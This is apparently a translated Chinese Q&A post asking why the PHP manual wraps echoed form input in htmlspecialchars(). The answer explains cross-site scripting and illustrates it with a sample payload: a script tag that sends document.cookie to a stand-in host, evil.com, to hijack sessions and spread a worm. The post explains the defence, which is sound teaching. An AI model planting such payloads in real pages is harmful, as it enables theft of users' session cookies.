qwe*_*ymk 0 php security code-injection
我正在查看php.net手册,它有这行代码:
Hi <?php echo htmlspecialchars($_POST['name']); ?>.
You are <?php echo (int)$_POST['age']; ?> years old.
Run Code Online (Sandbox Code Playgroud)
它在下面说:
htmlspecialchars()确保html中特殊的任何字符都被正确编码,这样人们就无法将HTML标记或Javascript注入页面.
这真的有必要吗?
有人真的可以将恶意代码放入那一行吗?有什么可担心的?可以将某些东西注入该行来运行一些PHP代码吗?即使在这种情况下没有威胁,他们是否只是让人们习惯于注意这一点?
如果有人的名字碰巧是:
<script>document.write('<img src="http://www.evil.com/worm.php?'+document.cookie+'"/>');</script>
Run Code Online (Sandbox Code Playgroud)
然后可以在您的网站上释放蠕虫.实质上,蠕虫只是一个脚本,它接受用户会话cookie,登录,然后做恶意内容,随着更多人查看它自我复制.